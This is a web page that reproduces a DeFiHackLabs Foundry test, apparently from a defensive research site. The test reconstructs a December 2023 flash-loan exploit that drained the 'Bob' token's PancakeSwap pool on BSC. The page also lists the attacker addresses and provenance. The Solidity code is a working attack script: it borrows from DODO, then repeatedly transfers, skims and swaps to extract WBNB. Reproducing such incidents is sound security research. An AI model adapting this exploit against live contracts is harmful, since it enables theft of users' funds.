Public reproduction file
src/test/2023-12/Bob_exp.sol
Public reproduction file for dataset entry Bob.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : ~3BNB7// Attacker : https://bscscan.com/address/0xcb733f075ae67a83a9c5f38a0864596e338a01068// Attack Contract : https://bscscan.com/address/0x0fe1983b8972630c866fe77ad873a66ec598b6859// Vulnerable Contract : https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e10// Attack Tx : https://bscscan.com/tx/0xfb14292a531411f852993e5a3ba4e7eb63ed548220267b9b3f4aacc5572d3a5812// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e#code15// @Analysis16// Post-mortem :17// Twitter Guy :18// Hacking God :19pragma solidity ^0.8.0;21import "forge-std/Test.sol";22import "./../interface.sol";24contract Bob is BaseTestWithBalanceLog {25 IERC20 HackDao = IERC20(0x94e06c77b02Ade8341489Ab9A23451F68c13eC1C);26 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);27 Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2); // HackDao WBNB28 Uni_Pair_V2 Pair2 = Uni_Pair_V2(0xbdB426A2FC2584c2D43dba5A7aB11763DFAe0225); //HackDao USDT29 address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;30 Uni_Router_V2 Router = Uni_Router_V2(router);31 address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;33 IERC20 Bob = IERC20(0x700eE24c350739e323Dcf6A50Ae3E7A3329C86aE);35 Uni_Pair_V2 cakeLP = Uni_Pair_V2(0x7CafdAaa0ba0F471c800DBaca94bDB943311939d);37 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);39 function setUp() public {40 cheats.createSelectFork("bsc", 34_428_628 - 1);41 }43 function testExploit() public {44 // WBNB.approve(address(Router), type(uint256).max);45 // HackDao.approve(address(Router), type(uint256).max);46 DVM(dodo).flashLoan(100 * 1e18, 0, address(this), "0x00");48 emit log_named_decimal_uint("[End] Attacker BNB balance after exploit", WBNB.balanceOf(address(this)), 18);49 }51 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {52 WBNB.approve(address(Router), type(uint256).max);53 Bob.approve(address(Router), type(uint256).max);54 cakeLP.approve(address(Router), type(uint256).max);56 address[] memory path = new address[](2);57 path[0] = address(WBNB);58 path[1] = address(Bob);60 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(61 20_000_000_000_000, 0, path, address(this), block.timestamp62 );64 (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();65 uint256 bob_balance = Bob.balanceOf(address(this));66 uint256 amount_b = Router.quote(bob_balance, reserve0, reserve1);67 WBNB.transfer(address(cakeLP), amount_b);68 Bob.transfer(address(cakeLP), bob_balance);69 cakeLP.mint(address(this));71 int256 index = 0;72 while (index < 9) {73 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(74 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp75 );77 Bob.transfer(address(cakeLP), Bob.balanceOf(address(this)));78 cakeLP.skim(address(cakeLP));79 (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();80 uint256 bob_balance = Bob.balanceOf(address(cakeLP));81 uint256 amountOut = Router.getAmountOut(96 * bob_balance / 100, reserve0, reserve1);82 cakeLP.swap(0, amountOut, address(this), abi.encode("0x00"));84 address[] memory path = new address[](2);85 path[0] = address(WBNB);86 path[1] = address(Bob);88 Router.swapTokensForExactTokens(89 90 * bob_balance / 100, WBNB.balanceOf(address(this)), path, router, block.timestamp90 );91 Router.removeLiquidityETHSupportingFeeOnTransferTokens(92 address(Bob), 1_000_000_000_000_000_000, 1, 1, address(this), block.timestamp93 );95 address[] memory path_reverse = new address[](2);96 path_reverse[0] = address(Bob);97 path_reverse[1] = address(WBNB);98 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(99 Bob.balanceOf(address(this)), 0, path_reverse, address(this), block.timestamp100 );101 index++;102 }104 WBNB.transfer(dodo, 100 * 1e18);105 }107 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {108 return;109 }111 fallback() external payable {}112}Analysis
Dataset entry
Public Foundry test for “Bob” (2023-12-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xcb733f075ae67a83a9c5f38a0864596e338a0106
- Attack Contract
0x0fe1983b8972630c866fe77ad873a66ec598b685
- Vulnerable Contract
0x10ed43c718714eb63d5aa57b78b54704e256024e
- Attack Tx
0xfb14292a531411f852993e5a3ba4e7eb63ed548220267b9b3f4aacc5572d3a58
- Explorer: https://bscscan.com/address/0xcb733f075ae67a83a9c5f38a0864596e338a0106
- Explorer: https://bscscan.com/address/0x0fe1983b8972630c866fe77ad873a66ec598b685
- Explorer: https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e
- Explorer: https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e#code
File record
- Name
- Bob
- Path
- src/test/2023-12/Bob_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 59b3b69d3995b0b04b95b82cde78099d54108385
- Language
- Solidity
- Size
- 113 lines
- Date
- 2023-12-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/Bob_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 59b3b69d3995b0b04b95b82cde78099d54108385, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.